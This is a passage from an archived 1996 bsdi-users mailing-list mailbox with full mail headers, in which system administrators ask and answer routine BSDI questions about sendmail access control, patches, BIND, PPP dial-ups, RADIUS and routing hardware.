nil] ["418" "" "11" "November" "1996" "19:23:35" "GMT" "tkaelin@kreative.net" "tkaelin@kreative.net" nil "11" "Eudora with e-mail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11905 for ; Mon, 11 Nov 1996 16:01:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA03018 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:52:13 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users,comp.unix.bsd.freebsd.misc,comp.unix.bsd.386bsd.misc,comp.unix.bsd.bsdi.announce,comp.unix.bsd.bsdi.misc,comp.unix.bsd.freebsd.announce,comp.unix.bsd.misc,cs-monolit.gated.lists.bsdi-users,fj.os.bsd.freebsd,muc.lists.freebsd.bugs,muc.lists.freebsd.current Organization: Kreative Access Internet Services, L. L. C. Lines: 11 Message-ID: <567ufn$mul@news.kreative.net> NNTP-Posting-Host: 208.0.26.52 Mime-Version: 1.0 Content-Type: Text/Plain; charset=US-ASCII X-Newsreader: WinVN 0.99.6 Precedence: bulk From: tkaelin@kreative.net (Tim ) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Eudora with e-mail Date: 11 Nov 1996 19:23:35 GMT I'm trying to get Eudora 1.54 up and running on a BSDI 2.1 server, and can't get it to download large email files using the Eudora dialer. The documentation says that this is because the echo confuses it and to establish an "echoless" session. Does anyone has this successfully implemented, and, if so, can you include a sample Eudora script and the method for setting up on the server. Thanks tim From VM Tue Nov 12 00:14:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["904" "" "11" "November" "1996" "16:55:14" "-0500" "Jason R. Mastaler" "jason@mastaler.com" nil "26" "Re: Sendmail security" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA13556 for ; Mon, 11 Nov 1996 17:03:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA03191 for bsdi-users-outgoing; Mon, 11 Nov 1996 16:55:59 -0500 (EST) References: <3.0b26.32.19961111110701.00981cf0@mailhost.thesphere.com> In-Reply-To: "Robert E. Gahl"'s message of Mon, 11 Nov 1996 11:07:03 -0800 Message-ID: Lines: 25 X-Mailer: Red Gnus v0.53/XEmacs 19.14 Precedence: bulk From: jason@mastaler.com (Jason R. Mastaler) Sender: owner-bsdi-users@lists.gateway.com To: "Robert E. Gahl" cc: bsdi-users@BSDI.COM Subject: Re: Sendmail security Date: 11 Nov 1996 16:55:14 -0500 "Robert E. Gahl" writes: > That is, I only want our customers to be able to use our sendmail. It would > refuse any connection from anywhere else. I suspect this may well be > impossible to do, based on the way mail works (or my limited understanding > of the way mail works). > > Any ideas would be gratefully appreciated. Sendmail 8.8.2 has support for tcp_wrappers which is an access control facility for internet services. >From the sendmail distribution src/READ_ME +-----------------------+ | COMPILE-TIME FEATURES | +-----------------------+ TCPWRAPPERS Turns on support for the TCP wrappers library (-lwrap). This library is available on ftp.win.tue.nl in /pub/security; grab tcp_wrappers_.tar.gz (where is the highest numbered version). You can get the latest sendmail from http://www.Sendmail.ORG/ From VM Tue Nov 12 00:14:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["371" "Mon" "11" "November" "1996" "17:18:17" "-0500" "David Miller" "david@sparks.net" nil "15" "Read 2.1 UFS under 1.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14110 for ; Mon, 11 Nov 1996 17:20:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA03268 for bsdi-users-outgoing; Mon, 11 Nov 1996 17:18:43 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Miller Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Read 2.1 UFS under 1.1 Date: Mon, 11 Nov 1996 17:18:17 -0500 (EST) Is it possible to mount and read a filesystem created with 2.1 under a system running 1.1? I've a peculiar situation where that would save me a lot of grief. Thanks in advance:) --- David Miller ---------------------------------------------------------------------------- It's *amazing* what one can accomplish when one doesn't know what one can't do! From VM Tue Nov 12 00:14:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["719" "Mon" "11" "November" "1996" "17:25:41" "-0500" "Sam Brown" "root@ns2.clever.net" nil "31" "Re: Install Patches" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14126 for ; Mon, 11 Nov 1996 17:26:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA03304 for bsdi-users-outgoing; Mon, 11 Nov 1996 17:27:16 -0500 (EST) In-Reply-To: <01bbcfab$dc06a1c0$081815cb@ii.net.voyager.co.nz> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: cesar cc: info-bsdi-users@uunet.uu.net Subject: Re: Install Patches Date: Mon, 11 Nov 1996 17:25:41 -0500 (EST) shutdown now mount -a sh patch#.sh Is the correct way. Its best to be in single user mode, but kernel patches don't necessarily need to since you'll have to compile the kernel first. Always shutdown -r now the system afterwards, some patches that affect the libs and for some reason always causes / volume to have errors !? Sam On 11 Nov 1996, cesar wrote: > > hello, > > I'm real new to BSDI, and I really need help. > > My BSDI documentation is sparse, can someone describe the proper > methodology on installing individual kernel patches (rather than from > floppy at install) for version 2.1? > > Alternatively can someone show me where I can grab a full manual from the > net? > > Much Thanks, > From VM Tue Nov 12 00:14:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["559" "Tue" "12" "November" "1996" "09:21:13" "+1100" "Dinesh Pullat" "dinesh@newsnet.com.au" nil "14" "BIND 4.9.3-P1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14536 for ; Mon, 11 Nov 1996 17:40:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA03360 for bsdi-users-outgoing; Mon, 11 Nov 1996 17:34:17 -0500 (EST) Message-Id: <9611112221.AA19519@Sol.> X-Sun-Charset: US-ASCII Precedence: bulk From: dinesh@newsnet.com.au (Dinesh Pullat) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: BIND 4.9.3-P1 Date: Tue, 12 Nov 1996 09:21:13 +1100 Thanx for all the response. Now, it definitely is not a caching problem. I came in today, did a kill -HUP `cat named.pid`. And still, the same problem! Also, couple of others said that they also get exactly the same results for zephyr.grace.cri.nz from the named on 2.1 BSDI. Dinesh Pullat (dinesh@newsnet.com.au)_______________________ Newsnet ITN Ltd. voice: +61 2 9552 4699 (W) 100 Harris Street +61 2 9560 5042 (H) Pyrmont, NSW 2009 fax: +61 2 9552 1132 (W) Australia._________PGP public key available_________________ From VM Tue Nov 12 00:14:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2011" "Mon" "11" "November" "1996" "15:56:11" "-0700" "Brad Senff" "brad@inficad.com" nil "40" "misc questions hw, and sw" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14966 for ; Mon, 11 Nov 1996 17:58:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA03411 for bsdi-users-outgoing; Mon, 11 Nov 1996 17:52:56 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brad Senff Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: misc questions hw, and sw Date: Mon, 11 Nov 1996 15:56:11 -0700 (MST) Hey all, I have a couple of questions that I have sat on for a while to see if anyone else has had a problem, but as of yet, no one seems to be doing what I am doing.. (hm.. kinda scary ;) 1. 3com 905 (10/100baseT). I know this isn't listed in the compat. hardware, but I was informed that you can't get the 595's anymore. This particular hardware is very interesting.. I can get it be recognized, (I think BSDi thinks it is a 595), and it will work great as 10BaseT. (I still don't have a 100BaseT hub, so I am not sure if that is the prob). I can do *all* ethernet services over that card, however if I at any point in time, do a ping with large packets and fill the outgoing buffer, the card hangs and does not recover with out a reboot. I am assuming that the main problem could be fixed easily with a patch, but I have not seen anything out there concerning a patch to get the 3c905's to work. 2. Anyone heard of an X server that supports the Virge 3d chipset? (brand new S3 based 3d accelerator) 3. and has anyone with binary BSDi license been able to successfully install YP for bsdi? (unless there is a better way to manage user databases over approx 5 machines) I have binary only at this time, and cannot get YP installed unless I patch a couple of the kernel's files... 4. has anyone *ever* gotten ytal3.0(2) to work properly on bsdi 2.1? I can get it to compile fine on the system, but when executed, the talk daemon complains. Is there an updated talk daemon that I need to install? or is there some option in ytalk 3.0(2) that I am unaware of? ================================================================== == Brad Senff brad@inficad.com == == System Administrator Check out the web site: == == Inficad Computing and Design http://www.inficad.com == == "Ignorance is the art of not recalling the information == == you have not learned yet." == ================================================================== From VM Tue Nov 12 00:14:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["270" "Mon" "11" "November" "1996" "15:18" "PST" "Randy Bush" "randy@psg.com" nil "8" "Re: BIND 4.9.3-P1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA15846 for ; Mon, 11 Nov 1996 18:24:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA03487 for bsdi-users-outgoing; Mon, 11 Nov 1996 18:18:28 -0500 (EST) Message-Id: References: <9611112221.AA19519@Sol.> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: dinesh@newsnet.com.au (Dinesh Pullat) Cc: bsdi-users@lists.gateway.com Subject: Re: BIND 4.9.3-P1 Date: Mon, 11 Nov 96 15:18 PST > Now, it definitely is not a caching problem. I came in today, did a kill > -HUP `cat named.pid`. And still, the same problem! HUPping named does NOT clear the cache. To clear the cache, you will have to stomp the seucker dead dead dead, and then restart it. randy From VM Tue Nov 12 00:15:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1436" "Mon" "11" "November" "1996" "20:43:46" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "43" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18064 for ; Mon, 11 Nov 1996 19:52:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA03673 for bsdi-users-outgoing; Mon, 11 Nov 1996 19:45:38 -0500 (EST) Message-Id: <199611120045.TAA02875@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "BSDI Mail" , "Stephen Roderick" Cc: "bsdi-users@BSDI.COM" Subject: Re: Tracking Usage Date: Mon, 11 Nov 96 20:43:46 On Mon, 11 Nov 1996 09:40:53 -0800 (PST), Stephen Roderick wrote: >On Mon, 11 Nov 1996, BSDI Mail wrote: > >> Hello there, I downloaded and attempted to compile trafshow 2.0, and I get the following error: >> Build library in /usr/home/internex/trafshow-2.0/lib >> shlicc2 -O2 -I../include -c interfaces.c >> In file included from interfaces.c:24: >> /usr/include/net/if_slvar.h:57: syntax error before `vjc_t' >> interfaces.c: In function `bpf_slip': >> interfaces.c:109: `SLIP_HDRLEN' undeclared (first use this function) >> interfaces.c:109: (Each undeclared identifier is reported only once >> interfaces.c:109: for each function it appears in.) >> *** Error code 1 >> >> Stop. >> *** Error code 1 >> >> this error pops up on two bsdi 2.1 machines that I have... can someone send me a compiled version >> of trafshow? or give me any clues of how to solve this problem? >> > >I got it to compile under 2.0 without any problems. There seems to be >some (slightly greater than minor) changes in 2.1 that I was not able to >overcome. I just use the same binary under 2.1. I will forward a copy to >you separately. > >Perhaps someone else has ported this to 2.1? > > > >Steve > >--- >Steve Roderick ProAxis Communications, Inc. >steve@proaxis.com Internet Access Provider > (541) 757-0248 > > Great! Thanks a lot! From VM Tue Nov 12 00:15:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["795" "Mon" "11" "November" "1996" "16:39:35" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "21" "Re: Read 2.1 UFS under 1.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18066 for ; Mon, 11 Nov 1996 19:52:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA03667 for bsdi-users-outgoing; Mon, 11 Nov 1996 19:45:23 -0500 (EST) Message-Id: <199611120039.QAA21319@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, david@sparks.net Subject: Re: Read 2.1 UFS under 1.1 Date: Mon, 11 Nov 1996 16:39:35 -0800 (PST) > > Is it possible to mount and read a filesystem created with 2.1 under a > system running 1.1? I've a peculiar situation where that would save me a > lot of grief. > This should be possible IFF it was a 1.1 filesystem in the first place and you haven't converted it to a more modern format with the fsck -c (convert) option. Otherwise there have been some changes to the filesystem format that will probably cause a 1.1 system to have problems and/or panic. Can't you boot up version 2.1 from floppy and CD and read the files that way (on either the original machine or the machine running 1.1)? Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 12 00:15:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["420" "Mon" "11" "November" "1996" "20:38:39" "+0000" "Jim Cassata" "jim@web-ex.com" nil "15" "routing 56k and T1 lines" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA19419 for ; Mon, 11 Nov 1996 20:41:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA03773 for bsdi-users-outgoing; Mon, 11 Nov 1996 20:33:32 -0500 (EST) Message-Id: <199611120211.VAA08420@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: routing 56k and T1 lines Date: Mon, 11 Nov 1996 20:38:39 +0000 Does anyone have any thoughts about SDL Riscomm cards? I am looking for a cost effective solution for setting up customers with 56k and T1 lines. would a BSDI box handle multiple cards? Possibly a sbc with passive backplane? What are you guys (and gals;) using? Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Tue Nov 12 00:15:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1026" "Mon" "11" "November" "1996" "22:16:38" "" "System Administrator" "internex@pcrealm.net" nil "21" "PPP + Client Dialups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA21615 for ; Mon, 11 Nov 1996 22:08:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA03943 for bsdi-users-outgoing; Mon, 11 Nov 1996 22:01:45 -0500 (EST) Message-Id: <199611120218.VAA03286@home.pcrealm.net> Reply-To: "System Administrator - Greg Wiktor" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "System Administrator - Greg Wiktor" Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@bsdi.com" Subject: PPP + Client Dialups Date: Mon, 11 Nov 96 22:16:38 Hello everone, I was just wondering... Is there any way to have PPP on BSDi 2.1 work better with Windows PPP Users? right now we have an NT machine taking care of all of our normal dialups, but I would much rather use BSDi, except that Windows machines do not work correctly at dialing up unless scripts are made... is there any way to make it so windows machines connect more easily? Thanks for any input... Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech PC Realm Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: INTERNEX@PCREALM.NET (PRIMARY) INTERNEX@ADVINC.COM INTERNEX@LANLINE.COM ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Tue Nov 12 00:15:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["801" "Mon" "11" "November" "1996" "22:57:38" "-0500" "Brian Hess" "brian@usaor.net" nil "35" "Re: RADIUS & BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA23253 for ; Mon, 11 Nov 1996 23:06:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA04130 for bsdi-users-outgoing; Mon, 11 Nov 1996 22:58:51 -0500 (EST) Reply-To: Brian Hess In-Reply-To: Message-ID: X-X-Sender: brian@gate.usaor.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Hess Sender: owner-bsdi-users@lists.gateway.com To: Steven Freed cc: bsdi-users@BSDI.COM Subject: Re: RADIUS & BSDI Date: Mon, 11 Nov 1996 22:57:38 -0500 () On Mon, 11 Nov 1996, Steven Freed wrote: > Works fine here out-of-the box. The Livingingston supplied binary works > fine. > > There is something else wrong with your setup. More than likely. What does your -v return? radiusd: RADIUS version 2.0 96/10/30 NDBM NOSHADOW PASSCHANGE bsdi flat_users and my default entry is: DEFAULT Auth-Type = System User-Service-Type = Framed-User, Framed-Protocol = PPP, Framed-Address = 255.255.255.254, Framed-Netmask = 255.255.255.0, Framed-Routing = None, NAS-Port-Type = Async, Framed-MTU = 1500, Framed-Compression = Van-Jacobsen-TCP-IP Thanks, --brian ---------- Brian Hess Network Administrator Phone: 412-391-4382 USA OnRamp Email: brian@usaor.net From VM Tue Nov 12 00:15:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["359" "Mon" "11" "November" "1996" "23:39:24" "-0500" "Brian Hess" "brian@usaor.net" nil "17" "Re: RADIUS & BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA24346 for ; Mon, 11 Nov 1996 23:47:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA04346 for bsdi-users-outgoing; Mon, 11 Nov 1996 23:40:28 -0500 (EST) In-Reply-To: Message-ID: X-X-Sender: brian@gate.usaor.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Hess Sender: owner-bsdi-users@lists.gateway.com To: Steven Freed cc: bsdi-users@BSDI.COM Subject: Re: RADIUS & BSDI Date: Mon, 11 Nov 1996 23:39:24 -0500 () > > There is something else wrong with your setup. Please disregard my other STUPID posts. Turns out the radiusd daemon crashed and it was trying to authenticate using my backup radius server. Very sorry to all. --brian ---------- Brian Hess Network Administrator Phone: 412-391-4382 USA OnRamp Email: brian@usaor.net From VM Tue Nov 12 00:47:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["676" "Tue" "12" "November" "1996" "16:14:26" "+1100" "Mark Russell" "mark@viper.net.au" nil "16" "Virtual Servers" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25174 for ; Tue, 12 Nov 1996 00:20:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA04389 for bsdi-users-outgoing; Tue, 12 Nov 1996 00:16:16 -0500 (EST) Message-Id: <3.0b36.32.19961112161423.006e3f2c@mail.viper.net.au> X-Sender: mark@mail.viper.net.au X-Mailer: Windows Eudora Pro Version 3.0b36 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mark Russell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Virtual Servers Date: Tue, 12 Nov 1996 16:14:26 +1100 Hi I'm trying to install a virtual address on my server it's all fine except for one problem. Anyone from outside of my domain see both host domain and virtual domain..however if it is someone from inside my domain they go to load the host domain pages etc and they get the virtual. I have obviously forgotten something though what i have no idea. Your help and comments would be appreciated -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- // Mark Russell O // mark@viper.net.au O // IPER.NET.AU http://www.viper.net.au Ph 61 2 9699 3837 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- From VM Tue Nov 12 20:16:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["831" "Tue" "12" "November" "1996" "09:43:25" "GMT" "Vernon D. Burke" "vburke@server.skow-acc.com" nil "26" "Re: routing 56k and T1 lines" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA09245 for ; Tue, 12 Nov 1996 08:03:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA06698 for bsdi-users-outgoing; Tue, 12 Nov 1996 07:55:49 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: Skowhegan OnLine Central Maine's Internet OnRamp Lines: 26 Message-ID: <569ddl$8in@server.skow-acc.com> References: <199611120211.VAA08420@web-ex.com> NNTP-Posting-Host: office.skow-acc.com X-Newsreader: Forte Free Agent 1.0.82 Precedence: bulk From: vburke@server.skow-acc.com (Vernon D Burke) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: routing 56k and T1 lines Date: Tue, 12 Nov 1996 09:43:25 GMT jim@web-ex.com ("Jim Cassata") wrote: >Does anyone have any thoughts about SDL Riscomm cards? I am looking for a >cost effective solution for setting up customers with 56k and T1 lines. >would a BSDI box handle multiple cards? Possibly a sbc with passive >backplane? What are you guys (and gals;) using? >Jim Cassata >______________________ >jim@web-ex.com >Web Express, Inc. >20 Broadhollow Road >Suite 3011 >Melville, NY 11747 >516.421.6000 >516.421.3882 fax been running an sld riscom n2 with a 56k for almost a year now, excellent product. Vernon D Burke, Owner/Operator, Skowhegan OnLine Email: sysop@skow-acc.com WWW: http://www.skow-acc.com Commercial and Public Internet Access and Consulting Services "You make one little mistake and the whole world queues up to make fun of you." From VM Tue Nov 12 20:16:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["338" "Tue" "12" "November" "1996" "09:45:39" "-0500" "Marius Kirschner" "marius@tao.agoron.com" nil "13" "ftp error messages" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA16701 for ; Tue, 12 Nov 1996 12:43:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA07105 for bsdi-users-outgoing; Tue, 12 Nov 1996 12:18:46 -0500 (EST) Message-ID: <32888D93.4D86@tao.agoron.com> X-Mailer: Mozilla 3.01Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Marius Kirschner Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ftp error messages Date: Tue, 12 Nov 1996 09:45:39 -0500 Can somebody shed some light on what the following error messages mean? recv: Blocking call cancelled rl-recv: Blocking call cancelled DoDirList returned 0 DoDirList returned 4 I have a user who has one heck of a time connecting to our ftp server and those are the messages he keeps getting on various attempts. Thanks, ---Marius From VM Tue Nov 12 20:16:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["716" "Tue" "12" "November" "1996" "11:25" "EST" "John R. Levine" "johnl@iecc.com" nil "17" "Re: routing 56k and T1 lines" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA16766 for ; Tue, 12 Nov 1996 12:52:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA07328 for bsdi-users-outgoing; Tue, 12 Nov 1996 12:51:37 -0500 (EST) Message-Id: Newsgroups: local.bsdi In-Reply-To: <199611120211.VAA08420@web-ex.com> Organization: I.E.C.C., Trumansburg, N.Y. Precedence: bulk From: johnl@iecc.com (John R Levine) Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com Cc: bsdi-users@BSDI.COM Subject: Re: routing 56k and T1 lines Date: Tue, 12 Nov 96 11:25 EST I have a fractional T1 going into my main server which is doing OSPF and routing to my ethernet along with WWW, mail, and news. Performance seems fine to me. T1's aren't all that fast by current computer speeds, I'd expect any Pentium box should be fine for routing a couple of them so long as it has enough memory (at least 32M) and isn't doing a whole lot of other stuff. I keep looking for low end routers that can do OSPF, which my ISP insists on even though I'm a leaf network, and I haven't seen anything that looks competitive with a stripped down BSDI box. -- John R. Levine, IECC, POB 640 Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com "Space aliens are stealing American jobs." - MIT econ prof From VM Tue Nov 12 20:17:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2105" "Tue" "12" "November" "1996" "14:15:15" "" "System Administrator" "internex@pcrealm.net" nil "55" "Re: PPP + Client Dialups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA17549 for ; Tue, 12 Nov 1996 13:23:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA07402 for bsdi-users-outgoing; Tue, 12 Nov 1996 13:17:11 -0500 (EST) Message-Id: <199611121817.NAA11197@home.pcrealm.net> Reply-To: "System Administrator - Greg Wiktor" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "System Administrator - Greg Wiktor" Sender: owner-bsdi-users@lists.gateway.com To: "internex@pcrealm.net" , "Mike Grommet" Cc: "bsdi-users@bsdi.com" Subject: Re: PPP + Client Dialups Date: Tue, 12 Nov 96 14:15:15 On Tue, 12 Nov 1996 08:09:26 +0000, Mike Grommet wrote: > >> Hello everone, I was just wondering... Is there any way to have PPP on BSDi 2.1 work better with >> Windows PPP Users? right now we have an NT machine taking care of all of our normal dialups, >> but I would much rather use BSDi, except that Windows machines do not work correctly at dialing >> up unless scripts are made... is there any way to make it so windows machines connect more >> easily? >> >> Thanks for any input... >> >> > >The only option we had before going to usr total control units and a >radius server was to have the users bring up their terminal window >after dialing. This meant they had to physically enter their log in >name and password and then press f7 to continue to finish connecting. > >I wonder if BSDI 3.0 is going to support going straight to PPP? > >If anyone mentions a better option to you please let me know! > >Mike Grommet >System Administrator & Web Page Designer >Internet Solutions, Inc. >mgrommet@insolwwb.net >"As long as there are tests, there will always be prayer in schools." > -- Unknown, but probably a student :) > Hmm Thats too bad, since OS/2 and Windows NT 4.0 dial-up fine... Oh well, hopefully 3.0 will support straight ppp... By the way, I have also been considering Total Contrul units, mainly since USR is coming out with X2 56K technology, and it requires these units... In what range did the Total Contol units finally cost you? bout $20K? TTYL... Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech PC Realm Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: INTERNEX@PCREALM.NET (PRIMARY) INTERNEX@ADVINC.COM INTERNEX@LANLINE.COM ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Tue Nov 12 20:17:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil 